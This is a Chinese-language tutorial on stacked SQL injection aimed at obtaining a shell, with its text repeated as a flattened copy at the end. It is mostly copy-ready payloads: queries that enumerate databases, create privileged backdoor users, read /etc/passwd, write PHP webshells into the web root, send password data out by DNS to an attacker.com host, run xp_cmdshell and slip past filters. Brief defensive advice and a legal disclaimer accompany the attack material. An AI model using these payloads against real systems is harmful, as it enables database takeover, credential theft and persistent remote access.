记一次堆叠注入拿shell的总结
字数 1416 2025-08-09 17:09:31

堆叠注入攻击技术详解与实战总结

一、堆叠注入基础概念

堆叠注入(Stacked Injection)是一种SQL注入技术,允许攻击者在一次数据库查询后执行额外的SQL语句。与普通SQL注入不同,堆叠注入可以执行多条SQL语句,极大地扩展了攻击面。

基本原理

  • 利用数据库支持多语句执行的特性
  • 通过分号(;)分隔多条SQL语句
  • 第二条及后续语句由攻击者完全控制

支持堆叠注入的数据库

  • MySQL (需特定配置)
  • PostgreSQL
  • Microsoft SQL Server
  • Oracle (部分版本)

二、堆叠注入与普通注入的区别

特性 普通SQL注入 堆叠注入
执行语句数 单条 多条
攻击面 有限 广泛
利用难度 较低 中等
危害程度 取决于原查询 可完全控制数据库

三、堆叠注入实战步骤

1. 漏洞探测

  • 尝试在输入中添加分号测试多语句执行
  • 常用探测语句:';select 1;--
  • 观察响应差异或延时响应

2. 信息收集

'; show databases; --
'; show tables; --
'; select table_name from information_schema.tables where table_schema='目标数据库'; --

3. 权限提升

  • 尝试创建高权限用户
'; CREATE USER 'attacker'@'%' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%'; --

4. 文件操作

读取文件

'; SELECT LOAD_FILE('/etc/passwd'); --

写入文件(获取Webshell)

'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; --

5. DNS外带技术

  • 当无法直接回显数据时使用
'; SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share\\file')); --

四、防御措施

1. 代码层面

  • 使用参数化查询(Prepared Statements)
  • 严格过滤输入中的分号、注释符等特殊字符
  • 实施最小权限原则

2. 数据库配置

  • 禁用多语句执行功能
  • 限制数据库用户权限
  • 启用SQL注入防护规则

3. 系统层面

  • 定期更新数据库和Web服务器
  • 部署WAF(Web应用防火墙)
  • 实施文件系统权限控制

五、高级技巧

1. 绕过过滤

  • 使用注释分割:'/*!*/;*/select 1;--
  • 使用编码混淆:';%53%45%4C%45%43%54%201;-- (SELECT 1的URL编码)

2. 无回显利用

  • 结合时间盲注:'; SELECT IF(1=1,SLEEP(5),0); --
  • 结合DNS外带:'; DECLARE @data VARCHAR(1024);SELECT @data=(SELECT TOP 1 column_name FROM table_name);EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\share"');--

3. 存储过程利用

'; EXEC xp_cmdshell 'whoami'; --
'; EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'; --

六、实战案例解析

案例1:通过堆叠注入获取Webshell

  1. 发现存在堆叠注入漏洞
  2. 确认Web根目录:'; SELECT @@basedir; --
  3. 写入PHP Webshell:
'; SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/images/shell.php'; --
  1. 通过中国菜刀或其他工具连接

案例2:权限提升与横向移动

  1. 通过注入创建新用户:
'; CREATE USER 'backdoor' IDENTIFIED BY 'P@ssw0rd'; GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%'; FLUSH PRIVILEGES; --
  1. 远程连接数据库进行进一步渗透
  2. 利用数据库特权读取系统文件或执行系统命令

七、法律与道德声明

  • 本技术文档仅供学习研究和防御使用
  • 未经授权对任何系统进行测试或攻击均属违法行为
  • 安全研究人员应在获得书面授权后进行测试
  • 发现漏洞应及时报告相关厂商而非恶意利用

八、参考资料

  1. OWASP SQL Injection Prevention Cheat Sheet
  2. MySQL官方文档安全章节
  3. SQL注入高级技术研究论文
  4. 奇安信攻防社区相关技术文章

请始终牢记:技术是把双刃剑,应用之道在于保护而非破坏。

堆叠注入攻击技术详解与实战总结 一、堆叠注入基础概念 堆叠注入(Stacked Injection)是一种SQL注入技术,允许攻击者在一次数据库查询后执行额外的SQL语句。与普通SQL注入不同,堆叠注入可以执行多条SQL语句,极大地扩展了攻击面。 基本原理 利用数据库支持多语句执行的特性 通过分号(;)分隔多条SQL语句 第二条及后续语句由攻击者完全控制 支持堆叠注入的数据库 MySQL (需特定配置) PostgreSQL Microsoft SQL Server Oracle (部分版本) 二、堆叠注入与普通注入的区别 | 特性 | 普通SQL注入 | 堆叠注入 | |------|------------|----------| | 执行语句数 | 单条 | 多条 | | 攻击面 | 有限 | 广泛 | | 利用难度 | 较低 | 中等 | | 危害程度 | 取决于原查询 | 可完全控制数据库 | 三、堆叠注入实战步骤 1. 漏洞探测 尝试在输入中添加分号测试多语句执行 常用探测语句: ';select 1;-- 观察响应差异或延时响应 2. 信息收集 3. 权限提升 尝试创建高权限用户 4. 文件操作 读取文件 写入文件(获取Webshell) 5. DNS外带技术 当无法直接回显数据时使用 四、防御措施 1. 代码层面 使用参数化查询(Prepared Statements) 严格过滤输入中的分号、注释符等特殊字符 实施最小权限原则 2. 数据库配置 禁用多语句执行功能 限制数据库用户权限 启用SQL注入防护规则 3. 系统层面 定期更新数据库和Web服务器 部署WAF(Web应用防火墙) 实施文件系统权限控制 五、高级技巧 1. 绕过过滤 使用注释分割: '/*!*/;*/select 1;-- 使用编码混淆: ';%53%45%4C%45%43%54%201;-- (SELECT 1的URL编码) 2. 无回显利用 结合时间盲注: '; SELECT IF(1=1,SLEEP(5),0); -- 结合DNS外带: '; DECLARE @data VARCHAR(1024);SELECT @data=(SELECT TOP 1 column_name FROM table_name);EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\share"');-- 3. 存储过程利用 六、实战案例解析 案例1:通过堆叠注入获取Webshell 发现存在堆叠注入漏洞 确认Web根目录: '; SELECT @@basedir; -- 写入PHP Webshell: 通过中国菜刀或其他工具连接 案例2:权限提升与横向移动 通过注入创建新用户: 远程连接数据库进行进一步渗透 利用数据库特权读取系统文件或执行系统命令 七、法律与道德声明 本技术文档仅供学习研究和防御使用 未经授权对任何系统进行测试或攻击均属违法行为 安全研究人员应在获得书面授权后进行测试 发现漏洞应及时报告相关厂商而非恶意利用 八、参考资料 OWASP SQL Injection Prevention Cheat Sheet MySQL官方文档安全章节 SQL注入高级技术研究论文 奇安信攻防社区相关技术文章 请始终牢记:技术是把双刃剑,应用之道在于保护而非破坏。